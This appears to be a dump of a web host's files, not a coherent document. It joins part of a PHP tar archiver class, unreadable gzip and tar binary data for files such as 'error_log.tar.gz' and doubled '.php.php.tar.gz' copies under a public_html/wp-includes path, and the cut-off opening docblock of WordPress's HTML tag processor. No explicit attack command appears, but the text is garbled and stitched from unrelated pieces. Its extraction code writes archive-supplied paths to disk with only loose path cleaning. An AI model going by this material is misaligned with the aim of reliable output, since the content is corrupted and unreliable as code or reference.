			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>class-wp-html-attribute-token.php.php.tar.gz000064400000001776151440300030015062 0ustar00��V�o�8�k�W��"ߗ���l݆;`7C�>:���BmI���a��(�vb��q���M(�G���J"36J��d��U�i��,�Ԁ��13#��G4%��(h��|�[6�򖉡Jԣ�\�f�z��?���&��l<����@�t6��`���%7�h�_�
��+lZwtvօ3x��������\G�K��p�p�4u�W��[�ap#u|��?�+���1@��G61�N�c�>�A�J�.�Ű��_�dJK��R1@ &���:�6G�5�yEE�T�;d��r��Ukb,����!斁b�3�y
�;-n�d���2-H�ɹ+ɵW�gA6�u��w,��uj̟o�e-5�?��S)�X�%�v�&�L���d�n��:I��
����X�'O�UP�N$�knv��w;�'ĩ�@���:��ݠRn�v-�R��n'�x윟w�`�$Ϳ	�����"b����F�#�,3�S�$�����k�P����BwX v�2em��]°ou���@�������q��}!��)��,E������n���=�G�:x�5��M�&���.���$/:���(�E#))1�<�����~�VR����B��C��[.>���0��[s7�X�M�ij�%��������T����"�۰�=%������}2�Cxh]�|PS�
d����{4a��=(>��=\	�Z����8�E=�ҹ�R1�t
�T��c��u�p<y7	î6#�l[����巌��i��M���x+Ex��>
�kJ�pH�r���[5�e���X\gq�V�uQ�;L��g����%u�ZL+L1���&d�S��j�+�r}�#�E�V�k`w���R�b96�XB�OBﻯ�[�\P�A!�hI�'���Z���N��2�9>uO|��]?xY�ʼ|�+��C�,TG���ϛdeYkv�l�՚L�`jE6�(v�t�t���� � ��|�Wyerror_log.tar.gz000064400000006256151440300030007664 0ustar00��KoG�}֯h�{���4Ç(�!����0�9,Ƙ�\�Cb8��<����. VMؤ��:,"	lŦ>}U����g��O5��/����M/?-�'�p�������2M.���W��g����u��_O��d�$��~��u�~�t����A��d��p�k���O񽀯���W��t�.M��^�������x�~ΫrR�e�T���IY��}^M���-_�c7)�&���hҼ���b�p��M��u���dg����/\=w�pX,�.�������.�z����tU4�w��E���tt�M��u�էg�{��n���v
��_���.*7.�QQ-�8�/\>���~n�TQ6oU�_�H;�d���?�^��������֤W.�g�^�^��i���7����uB	�_�=m�5�N�T2
�2L�WU<|š \�͛�Χn3E�
��ݸv��|�e޸iԭ�Gz�*��z������S>[�����١�Y��tO��𣫫|Xd'/��,����8W�����+�i��d��Jj����&jG�J�Hs̢n:�@�f�#Zls�@�V�ǀx�l!{A;�0*���i�Y�6�Dy�YFm�
P�D��nB%��(e  ���RTF�4��B��d�c��7@��e����YܵfqK�����4��6Q;��Z{2���GT?Kn8�4��A���(�!���h4&*QWYj۷�0DQz�-4�,��x����߁Dy�}{Q��{�Q>hO *��@{Q�(�'����v;��|8>=k��V�����j�9���%����]�A���_��ֻ�T���FV
bJ�@�LB��A����R��Q^h���Q��\�7#D�����3Dy����3Dy����3Dy�E7Cf����)=��������n�L�e�.��@ehhqUF�p�e�U��hv~��@
"���n�`Dy��Dy��pD���Dy��Dy��Dy�a[)��N���&`Z\+�`�W��xkl=���-4��0Q��Q.�n�1QQ��\S�Bs̢�/Lj�B���F5�5e���44ԚU�ad����r�e�1���(�5��hBg�u�^g}��Zh��"j@������[f��ʇR
�24�!������`�V�o?6��m4����k�(�,*��6L���o?6��m4ЊO�1Q1�J)'Zh��b�P
nm�'�ۏ�*�*��+�rƨ��Q"Zt�&�~�g��4��Q��Zh�Y��,F��e�6�PY
C�P���U��u�t74X3�j�^�a���ݲ"L�թ; �~lV�h�M{��D���9Q��L��(�#�T�L�|�u^�o?6��m4�1��Eis	�(/4˨-��Lc����\�i�Y�2bDih�=C���Q&�D�Dy
�1
�]ϼ[|HQ^acdj�^�adjۍ�d�������B�����0�P�2
#�LԎh��I��Mԁh��*��DE%
�#Ә��E�v�"P��s
�xkl]Զ�L���@���A��eET����ie�vDC�O�4&*VQ�5����z<��j|�0,�37j��[���=߃p�Z�����dZ\�.�U���$�5���f�~q���fv�l������uQn��m��+,������������߫F�w�lQ5ipzv�"����<~x�<@�S�4��A�SDih�}j����L���
�O-�0D�ve�����­�0�c���FCm#�4`Q�
!a­�) �~lV�h�s2�1���Q^h�Q�h�2��2Q{Q
Z��.� 2*�(��YF!EYF��:� �02�D�Ey�7��P'8��7Q����8�4&�D�=bDih��{���Q&
-�+���:"�02�/�X�@��	�V�PGdFe�6re�(��Lc���ڟ�iLTL����$��D��}�Qj7I�ad���
�I"Ә(���	���v�dFF�z�2��2Q&�[��Qj7I�adjsA�1Q&j� JCC���4��Bm.�4&�D�=Dih�]���Q&
-�+�×^'��v�J>�‰�
�eR���ٮRi�8=s��!���TiLTT�8N��D���'+Q���02�D��i�4&�D�=bDih���J��(��ߌ����UFF����RT�S�1QQ�B��Lc�LԾ��Q
Z5F�4��꠶�d�(��U*
Cj�J�a�B��e�(T�S����>X��-�k
o�
Հ�i�!�EWa��}��=Y�AT��b�R:Qj@}֯��@C�W�>9�(m ��B���FC���O]���b��6�(4�!�q�&�04�S�T�c�LV�44��F�k4�E�ws8QZ~D)h�{7�4��2Q���΂PoI�FC�!�@�D���GQoθFCM8	��c��&+Q�E�����FC����2QQ��FL�(-E��K�d������oF�N�h4����4��%J�9fQ�@@�fe��F��4�(�A2��DE%
ԏ�h�:Y���DuQ�U���_T\��|m#�*�CI�aT���ј�xD�P-m��E�=�(

t N�adTQ^aCd�]�� 2�Zah4�Eu{�+YU�c%
Q[h�4��`6r�hgTZ<�����^@s�-�u��̕$m4�+�-��n��#TF�j�T�s?�6�����`�˔o����l�AT��[e
�_�*�:K ��6@e���ƈ�� M�6FFA�FQh��02
�(<�(-��![hH�W�Ey2I
"�(�h�9fQZ~D)h]P�\�AdT Q^acd�m4���9i�a�5 5�c�
Q
�fUm4��"��5��T�N�a���4��rƹ��E�-Q�͢� 2�43�h�@��!�rj���!
5��i�P�(�!�r��6�(��@�9fQʬ� JB�'��h�g���3Wi�83s��!�33Wi�R��\�a����U��7y�O]QU�j#k���Ƶ�>�P���e>��~�z2/3��{~���:�.�~yɲn$�#7[-7G�We���	ע�̫��Ἴ/�͉��di:�>yW�Ï���a���Hz��;�e�m��U���|���Ȟ���Hݯ�|R�~�\=�����{��H��,�TD
tP��L��Yt�4Q��o*�Ӌzf/{��^{��M/!�class-wp-html-token.php.php.tar.gz000064400000002533151440300030013051 0ustar00��WQo�6�k�+]'�-�F�ɲ4�V�@�h��Pi��Ӥ@RV�-�}w�dI��f���!|H"��x���L��,�&��,/RDa�VrV�S�"Y����Ŕ�bIf�����\y�?{p��z}z:���^���^�zyzz2?;;�����+8y8�?�
�#������+����x�������9�ބ�~��h@6or-Y��V���p�ol�h6�q�Q���!�����g�樷��*.�ǰ؀�*_ȍ�0�6F��~�K�9�-�n����hA(D��p��udԹ΄��?��"Ux6��q���l��i��@�XD6h+���!��B�4a|��E�ct@�9@�_؊�N`��r��"m�ҹVq
���D��C'��1�����ɏ��knAib�K�̜�]��NH	�����H+��oM�<*�b(T̍��q��Jf�9VZc����dQs`�c���9����6$i�}�f��Jϳ�A�_�9:�8/AR^���t�/@꒛��œ�[D`��)7ρ!W�N��\�WX�m�?���c�E0H�5�b�t!c�F<61z�O�������z�V�Gԇp�W�ی�5_�X9&��n��dIMm�d�]W�D���9Rm�ʌ���b�����%�Q�B�k�C�w�[�bm��F����1<��e��|�GY`s%��Lm��w�l�td���'�SŒِ���+�^B¤��z~��E��-��%��q��(��Iˬ���6qT)h1��l�#`LH��u��0�x�\6v�@�G�&.T>�ٗ���X
lr����T��k|ځ6! Lm��D�:��6{Lۿ��@��O��1=��&"�[&%j��e��Rf8Ħ���ȑf���@������8�C�0[H�A��i�nCIh�[E��)D��Z�j�q��*�e���ՠ���O��vu�Y�?Rך-jc
o��h���YX�/��?�+��~��=�q��v���`�뮮��	��T�b/�gE�W�`�۟~{;-&�r($/��y)�|;5z����9�#���
ևUx�����ODV�a��`b"�ңj����kN��d�
5�\�~�]*:`��nJ
Y�I�|z�o�ڶH��a5=pW���9i����IU��JN�A9�~pD�Z/h>On�˝.Z�V/�����p�����0����]vq��]Gr~��ܯ��׎�U���æԇ���Q]�2
�#&�����#�z�p˖��QR�o�d�� ���HJ���2�KP���>j��׈{���ۏן>�!0n��_cw�Wp�v����c����n�_�G�����zZ�[��J�class-wp-html-tag-processor.php.tar000064400000453000151440300030013313 0ustar00home/homerdlh/public_html/wp-includes/html-api/class-wp-html-tag-processor.php000064400000447050151440277770023567 0ustar00<?php
/**
 * HTML API: WP_HTML_Tag_Processor class
 *
 * Scans through an HTML document to find specific tags, then
 * transforms those tags by adding, removing, or updating the
 * values of the HTML attributes within that tag (opener).
 *
 * Does not fully parse HTML or _recurse_ into the HTML structure
 * Instead this scans linearly through a document and only parses
 * the HTML tag openers.
 *
 * ### Possible future direction for this module
 *
 *  - Prune the whitespace when removing classes/attributes: e.g. "a b c" -> "c" not " c".
 *    This would increase the size of the changes for some operations but leave more
 *    natural-looking output HTML.
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.2.0
 */

/**
 * Core class used to modify attributes in an HTML document for tags matching a query.
 *
 * ## Usage
 *
 * Use of this class requires three steps:
 *
 *  1. Create a new class instance with your input HTML document.
 *  2. Find the tag(s) you are looking for.
 *  3. Request changes to the attributes in those tag(s).
 *
 * Example:
 *
 *     $tags = new WP_HTML_Tag_Processor( $html );
 *     if ( $tags->next_tag( 'option' ) ) {
 *         $tags->set_attribute( 'selected', true );
 *     }
 *
 * ### Finding tags
 *
 * The `next_tag()` function moves the internal cursor through
 * your input HTML document until it finds a tag meeting any of
 * the supplied restrictions in the optional query argument. If
 * no argument is provided then it will find the next HTML tag,
 * regardless of what kind it is.
 *
 * If you want to _find whatever the next tag is_:
 *
 *     $tags->next_tag();
 *
 * | Goal                                                      | Query                                                                           |
 * |-----------------------------------------------------------|---------------------------------------------------------------------------------|
 * | Find any tag.                                             | `$tags->next_tag();`                                                            |
 * | Find next image tag.                                      | `$tags->next_tag( array( 'tag_name' => 'img' ) );`                              |
 * | Find next image tag (without passing the array).          | `$tags->next_tag( 'img' );`                                                     |
 * | Find next tag containing the `fullwidth` CSS class.       | `$tags->next_tag( array( 'class_name' => 'fullwidth' ) );`                      |
 * | Find next image tag containing the `fullwidth` CSS class. | `$tags->next_tag( array( 'tag_name' => 'img', 'class_name' => 'fullwidth' ) );` |
 *
 * If a tag was found meeting your criteria then `next_tag()`
 * will return `true` and you can proceed to modify it. If it
 * returns `false`, however, it failed to find the tag and
 * moved the cursor to the end of the file.
 *
 * Once the cursor reaches the end of the file the processor
 * is done and if you want to reach an earlier tag you will
 * need to recreate the processor and start over, as it's
 * unable to back up or move in reverse.
 *
 * See the section on bookmarks for an exception to this
 * no-backing-up rule.
 *
 * #### Custom queries
 *
 * Sometimes it's necessary to further inspect an HTML tag than
 * the query syntax here permits. In these cases one may further
 * inspect the search results using the read-only functions
 * provided by the processor or external state or variables.
 *
 * Example:
 *
 *     // Paint up to the first five DIV or SPAN tags marked with the "jazzy" style.
 *     $remaining_count = 5;
 *     while ( $remaining_count > 0 && $tags->next_tag() ) {
 *         if (
 *              ( 'DIV' === $tags->get_tag() || 'SPAN' === $tags->get_tag() ) &&
 *              'jazzy' === $tags->get_attribute( 'data-style' )
 *         ) {
 *             $tags->add_class( 'theme-style-everest-jazz' );
 *             $remaining_count--;
 *         }
 *     }
 *
 * `get_attribute()` will return `null` if the attribute wasn't present
 * on the tag when it was called. It may return `""` (the empty string)
 * in cases where the attribute was present but its value was empty.
 * For boolean attributes, those whose name is present but no value is
 * given, it will return `true` (the only way to set `false` for an
 * attribute is to remove it).
 *
 * #### When matching fails
 *
 * When `next_tag()` returns `false` it could mean different things:
 *
 *  - The requested tag wasn't found in the input document.
 *  - The input document ended in the middle of an HTML syntax element.
 *
 * When a document ends in the middle of a syntax element it will pause
 * the processor. This is to make it possible in the future to extend the
 * input document and proceed - an important requirement for chunked
 * streaming parsing of a document.
 *
 * Example:
 *
 *     $processor = new WP_HTML_Tag_Processor( 'This <div is="a" partial="token' );
 *     false === $processor->next_tag();
 *
 * If a special element (see next section) is encountered but no closing tag
 * is found it will count as an incomplete tag. The parser will pause as if
 * the opening tag were incomplete.
 *
 * Example:
 *
 *     $processor = new WP_HTML_Tag_Processor( '<style>// there could be more styling to come' );
 *     false === $processor->next_tag();
 *
 *     $processor = new WP_HTML_Tag_Processor( '<style>// this is everything</style><div>' );
 *     true === $processor->next_tag( 'DIV' );
 *
 * #### Special self-contained elements
 *
 * Some HTML elements are handled in a special way; their start and end tags
 * act like a void tag. These are special because their contents can't contain
 * HTML markup. Everything inside these elements is handled in a special way
 * and content that _appears_ like HTML tags inside of them isn't. There can
 * be no nesting in these elements.
 *
 * In the following list, "raw text" means that all of the content in the HTML
 * until the matching closing tag is treated verbatim without any replacements
 * and without any parsing.
 *
 *  - IFRAME allows no content but requires a closing tag.
 *  - NOEMBED (deprecated) content is raw text.
 *  - NOFRAMES (deprecated) content is raw text.
 *  - SCRIPT content is plaintext apart from legacy rules allowing `</script>` inside an HTML comment.
 *  - STYLE content is raw text.
 *  - TITLE content is plain text but character references are decoded.
 *  - TEXTAREA content is plain text but character references are decoded.
 *  - XMP (deprecated) content is raw text.
 *
 * ### Modifying HTML attributes for a found tag
 *
 * Once you've found the start of an opening tag you can modify
 * any number of the attributes on that tag. You can set a new
 * value for an attribute, remove the entire attribute, or do
 * nothing and move on to the next opening tag.
 *
 * Example:
 *
 *     if ( $tags->next_tag( array( 'class_name' => 'wp-group-block' ) ) ) {
 *         $tags->set_attribute( 'title', 'This groups the contained content.' );
 *         $tags->remove_attribute( 'data-test-id' );
 *     }
 *
 * If `set_attribute()` is called for an existing attribute it will
 * overwrite the existing value. Similarly, calling `remove_attribute()`
 * for a non-existing attribute has no effect on the document. Both
 * of these methods are safe to call without knowing if a given attribute
 * exists beforehand.
 *
 * ### Modifying CSS classes for a found tag
 *
 * The tag processor treats the `class` attribute as a special case.
 * Because it's a common operation to add or remove CSS classes, this
 * interface adds helper methods to make that easier.
 *
 * As with attribute values, adding or removing CSS classes is a safe
 * operation that doesn't require checking if the attribute or class
 * exists before making changes. If removing the only class then the
 * entire `class` attribute will be removed.
 *
 * Example:
 *
 *     // from `<span>Yippee!</span>`
 *     //   to `<span class="is-active">Yippee!</span>`
 *     $tags->add_class( 'is-active' );
 *
 *     // from `<span class="excited">Yippee!</span>`
 *     //   to `<span class="excited is-active">Yippee!</span>`
 *     $tags->add_class( 'is-active' );
 *
 *     // from `<span class="is-active heavy-accent">Yippee!</span>`
 *     //   to `<span class="is-active heavy-accent">Yippee!</span>`
 *     $tags->add_class( 'is-active' );
 *
 *     // from `<input type="text" class="is-active rugby not-disabled" length="24">`
 *     //   to `<input type="text" class="is-active not-disabled" length="24">
 *     $tags->remove_class( 'rugby' );
 *
 *     // from `<input type="text" class="rugby" length="24">`
 *     //   to `<input type="text" length="24">
 *     $tags->remove_class( 'rugby' );
 *
 *     // from `<input type="text" length="24">`
 *     //   to `<input type="text" length="24">
 *     $tags->remove_class( 'rugby' );
 *
 * When class changes are enqueued but a direct change to `class` is made via
 * `set_attribute` then the changes to `set_attribute` (or `remove_attribute`)
 * will take precedence over those made through `add_class` and `remove_class`.
 *
 * ### Bookmarks
 *
 * While scanning through the input HTMl document it's possible to set
 * a named bookmark when a particular tag is found. Later on, after
 * continuing to scan other tags, it's possible to `seek` to one of
 * the set bookmarks and then proceed again from that point forward.
 *
 * Because bookmarks create processing overhead one should avoid
 * creating too many of them. As a rule, create only bookmarks
 * of known string literal names; avoid creating "mark_{$index}"
 * and so on. It's fine from a performance standpoint to create a
 * bookmark and update it frequently, such as within a loop.
 *
 *     $total_todos = 0;
 *     while ( $p->next_tag( array( 'tag_name' => 'UL', 'class_name' => 'todo' ) ) ) {
 *         $p->set_bookmark( 'list-start' );
 *         while ( $p->next_tag( array( 'tag_closers' => 'visit' ) ) ) {
 *             if ( 'UL' === $p->get_tag() && $p->is_tag_closer() ) {
 *                 $p->set_bookmark( 'list-end' );
 *                 $p->seek( 'list-start' );
 *                 $p->set_attribute( 'data-contained-todos', (string) $total_todos );
 *                 $total_todos = 0;
 *                 $p->seek( 'list-end' );
 *                 break;
 *             }
 *
 *             if ( 'LI' === $p->get_tag() && ! $p->is_tag_closer() ) {
 *                 $total_todos++;
 *             }
 *         }
 *     }
 *
 * ## Tokens and finer-grained processing.
 *
 * It's possible to scan through every lexical token in the
 * HTML document using the `next_token()` function. This
 * alternative form takes no argument and provides no built-in
 * query syntax.
 *
 * Example:
 *
 *      $title = '(untitled)';
 *      $text  = '';
 *      while ( $processor->next_token() ) {
 *          switch ( $processor->get_token_name() ) {
 *              case '#text':
 *                  $text .= $processor->get_modifiable_text();
 *                  break;
 *
 *              case 'BR':
 *                  $text .= "\n";
 *                  break;
 *
 *              case 'TITLE':
 *                  $title = $processor->get_modifiable_text();
 *                  break;
 *          }
 *      }
 *      return trim( "# {$title}\n\n{$text}" );
 *
 * ### Tokens and _modifiable text_.
 *
 * #### Special "atomic" HTML elements.
 *
 * Not all HTML elements are able to contain other elements inside of them.
 * For instance, the contents inside a TITLE element are plaintext (except
 * that character references like &amp; will be decoded). This means that
 * if the string `<img>` appears inside a TITLE element, then it's not an
 * image tag, but rather it's text describing an image tag. Likewise, the
 * contents of a SCRIPT or STYLE element are handled entirely separately in
 * a browser than the contents of other elements because they represent a
 * different language than HTML.
 *
 * For these elements the Tag Processor treats the entire sequence as one,
 * from the opening tag, including its contents, through its closing tag.
 * This means that the it's not possible to match the closing tag for a
 * SCRIPT element unless it's unexpected; the Tag Processor already matched
 * it when it found the opening tag.
 *
 * The inner contents of these elements are that element's _modifiable text_.
 *
 * The special elements are:
 *  - `SCRIPT` whose contents are treated as raw plaintext but supports a legacy
 *    style of including JavaScript inside of HTML comments to avoid accidentally
 *    closing the SCRIPT from inside a JavaScript string. E.g. `console.log( '</script>' )`.
 *  - `TITLE` and `TEXTAREA` whose contents are treated as plaintext and then any
 *    character references are decoded. E.g. `1 &lt; 2 < 3` becomes `1 < 2 < 3`.
 *  - `IFRAME`, `NOSCRIPT`, `NOEMBED`, `NOFRAME`, `STYLE` whose contents are treated as
 *    raw plaintext and left as-is. E.g. `1 &lt; 2 < 3` remains `1 &lt; 2 < 3`.
 *
 * #### Other tokens with modifiable text.
 *
 * There are also non-elements which are void/self-closing in nature and contain
 * modifiable text that is part of that individual syntax token itself.
 *
 *  - `#text` nodes, whose entire token _is_ the modifiable text.
 *  - HTML comments and tokens that become comments due to some syntax error. The
 *    text for these tokens is the portion of the comment inside of the syntax.
 *    E.g. for `<!-- comment -->` the text is `" comment "` (note the spaces are included).
 *  - `CDATA` sections, whose text is the content inside of the section itself. E.g. for
 *    `<![CDATA[some content]]>` the text is `"some content"` (with restrictions [1]).
 *  - "Funky comments," which are a special case of invalid closing tags whose name is
 *    invalid. The text for these nodes is the text that a browser would transform into
 *    an HTML comment when parsing. E.g. for `</%post_author>` the text is `%post_author`.
 *  - `DOCTYPE` declarations like `<DOCTYPE html>` which have no closing tag.
 *  - XML Processing instruction nodes like `<?wp __( "Like" ); ?>` (with restrictions [2]).
 *  - The empty end tag `</>` which is ignored in the browser and DOM.
 *
 * [1]: There are no CDATA sections in HTML. When encountering `<![CDATA[`, everything
 *      until the next `>` becomes a bogus HTML comment, meaning there can be no CDATA
 *      section in an HTML document containing `>`. The Tag Processor will first find
 *      all valid and bogus HTML comments, and then if the comment _would_ have been a
 *      CDATA section _were they to exist_, it will indicate this as the type of comment.
 *
 * [2]: XML allows a broader range of characters in a processing instruction's target name
 *      and disallows "xml" as a name, since it's special. The Tag Processor only recognizes
 *      target names with an ASCII-representable subset of characters. It also exhibits the
 *      same constraint as with CDATA sections, in that `>` cannot exist within the token
 *      since Processing Instructions do no exist within HTML and their syntax transforms
 *      into a bogus comment in the DOM.
 *
 * ## Design and limitations
 *
 * The Tag Processor is designed to linearly scan HTML documents and tokenize
 * HTML tags and their attributes. It's designed to do this as efficiently as
 * possible without compromising parsing integrity. Therefore it will be
 * slower than some methods of modifying HTML, such as those incorporating
 * over-simplified PCRE patterns, but will not introduce the defects and
 * failures that those methods bring in, which lead to broken page renders
 * and often to security vulnerabilities. On the other hand, it will be faster
 * than full-blown HTML parsers such as DOMDocument and use considerably
 * less memory. It requires a negligible memory overhead, enough to consider
